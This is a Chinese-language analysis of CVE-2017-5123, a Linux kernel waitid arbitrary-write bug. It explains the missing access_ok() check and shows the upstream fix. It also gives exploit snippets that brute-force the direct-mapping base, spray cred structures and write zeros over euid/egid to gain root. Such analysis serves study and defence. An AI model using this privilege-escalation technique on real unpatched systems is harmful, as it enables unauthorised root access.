CVE-2017-5123 waitid 漏洞分析及复现
字数 1422 2025-08-27 12:33:31
CVE-2017-5123 waitid 漏洞分析与利用指南
漏洞概述
CVE-2017-5123 是 Linux 内核中的一个权限提升漏洞,影响 Linux 内核版本 v4.13 到 v4.14-rc5。该漏洞源于 waitid 系统调用在向用户空间写入数据时未对目标地址进行合法性检查,导致攻击者可以向内核空间任意地址写入数据。
漏洞背景
waitid 系统调用
waitid 是 Linux 中的一个系统调用,用于获取子进程状态变化信息。其原型如下:
int waitid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
参数说明:
idtype:指定等待的子进程类型(P_PID、P_PGID、P_ALL)id:等待的子进程 PIDinfop:存储子进程相关信息的siginfo_t结构体指针options:指定获取的子进程状态类型
siginfo_t 结构体定义如下:
typedef struct {
int si_signo;
int si_code;
union sigval si_value;
int si_errno;
pid_t si_pid;
uid_t si_uid;
void *si_addr;
int si_status;
int si_band;
} siginfo_t;
漏洞成因
用户空间与内核空间数据传递
正常情况下,内核与用户空间数据传递应使用:
put_user()/get_user()copy_from_user()/copy_to_user()
这些函数会:
- 检查地址合法性
- 处理 SMEP/SMAP 保护
从内核 4.13 版本开始,waitid 使用 unsafe_put_user() 宏来优化性能,避免多次检查/开关保护的开销。
关键问题
waitid 实现中:
- 使用了
user_access_begin()和user_access_end()来开关 SMAP 保护 - 但缺少了
access_ok()检查 - 导致可以传入内核空间地址并写入数据
漏洞代码片段:
SYSCALL_DEFINE5(waitid, ...) {
// ...
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault); // 可写入内核地址
unsafe_put_user(0, &infop->si_errno, Efault);
// ...
user_access_end();
// ...
}
漏洞利用
利用思路
- 通过
unsafe_put_user(0, &infop->si_errno, Efault)可以向任意地址写入 0 - 目标是修改当前进程的
cred结构体中的euid为 0 - 需要解决的关键问题:获取
cred结构体地址
利用步骤
1. 获取内核线性映射区基址
64位 Linux 的虚拟内存布局中包含"物理地址直接映射区"(direct mapping area),其特点是:
- 线性地址到物理地址的映射是连续的
kmalloc分配的内存位于此区域- 起始地址称为
page_offset_base(未开启 KASLR 时为 0xffff888000000000)
爆破方法:
size_t page_offset_base = 0xffff888000000000;
while (1) {
int pid = fork();
if (pid == 0) exit(-1);
retval = waitid(P_PID, pid, page_offset_base, WEXITED);
if (retval >= 0) break; // 找到有效地址
page_offset_base += 0x10000000;
}
2. 定位 cred 结构体
通过实验发现:
cred结构体通常位于page_offset_base + 0x10000000之后- 从
page_offset_base + 0x50000000开始出现概率较高
3. 完整利用流程
- 喷射大量
cred结构体(使用clone创建子进程) - 从预测位置开始遍历写 0
- 检查是否成功修改了某个
cred的euid
示例代码片段:
// 喷射 cred
for (int i = 0; i < 2000; i++) {
void *child_stack = malloc(0x1000);
clone(child_process, child_stack, CLONE_VM|CLONE_FS|CLONE_FILES, NULL);
}
// 攻击:遍历写0
for (size_t i = 0, cur_attack_addr = page_offset_base + 0x6f500000; ; i++) {
if (i > 23) { i = 0; cur_attack_addr += 0x1000; }
waitid(P_ALL, 0, cur_attack_addr + 4 + i*176, WNOHANG); // 写 euid
waitid(P_ALL, 0, cur_attack_addr + 20 + i*176, WNOHANG); // 写 egid
}
漏洞修复
修复方法是在 waitid 中添加 access_ok() 检查:
diff --git a/kernel/exit.c b/kernel/exit.c
index f2cd53e..cf28528 100644
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -1610,6 +1610,9 @@ SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *, infop,
if (!infop)
return err;
+ if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
+ goto Efault;
+
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
总结
CVE-2017-5123 是一个典型的内核空间任意地址写入漏洞,其特点包括:
- 利用条件苛刻,需要精确预测
cred结构体位置 - 成功率不高,容易导致内核崩溃
- 影响范围有限(仅特定内核版本)
- 修复简单,只需添加地址检查
该漏洞展示了内核开发中安全机制完整性的重要性,即使是性能优化也不能牺牲基本的安全检查。